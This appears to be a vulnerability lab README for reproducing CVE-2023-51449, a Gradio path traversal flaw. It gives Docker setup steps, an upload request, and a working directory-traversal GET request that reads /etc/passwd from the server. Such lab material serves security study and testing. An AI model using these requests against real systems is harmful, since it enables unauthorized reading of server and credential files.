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gradio/CVE-2023-51449/README.md
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gradio/CVE-2023-51449/README.md
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# Gradio File Path Traversal (CVE-2023-51449)
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[中文版本(Chinese version)](README.zh-cn.md)
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Gradio is a Python library that allows users to quickly build visual web interfaces for machine learning models without writing any front-end code.
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In Gradio versions 4.11 and below, when authentication is not enabled, an attacker who knows the file path can use a public URL to access arbitrary files on the server running the Gradio application.
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References:
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- <https://github.com/gradio-app/gradio/pull/6833>
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- <https://github.com/gradio-app/gradio/security/advisories/GHSA-6qm2-wpxq-7qh2>
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## Environment Setup
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Execute the following command to start an application built with Gradio 4.10.0:
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```
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docker compose up -d
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```
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After the server starts, authentication is disabled by default. You can access the application at `http://your-ip:7860`.
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## Vulnerability Reproduction
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First, use the upload interface to upload any file and obtain an accessible file path.
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```
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POST /upload HTTP/1.1
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Host: localhost:7860
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Content-Type: multipart/form-data; boundary=---------------------------250033711231076532771336998311
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-----------------------------250033711231076532771336998311
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Content-Disposition: form-data; name="files";filename="okmijnuhbygv"
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Content-Type: application/octet-stream
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123456
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-----------------------------250033711231076532771336998311--
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```
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Once you have an accessible file path, use the `/file` interface with directory traversal to read arbitrary files from the server, such as `/etc/passwd`:
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```
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GET /file=/tmp/gradio/7c4a8d09ca3762af61e59520943dc26494f8941b/../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
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Host: localhost:7860
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.36
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Connection: close
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Accept-Encoding: gzip
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```
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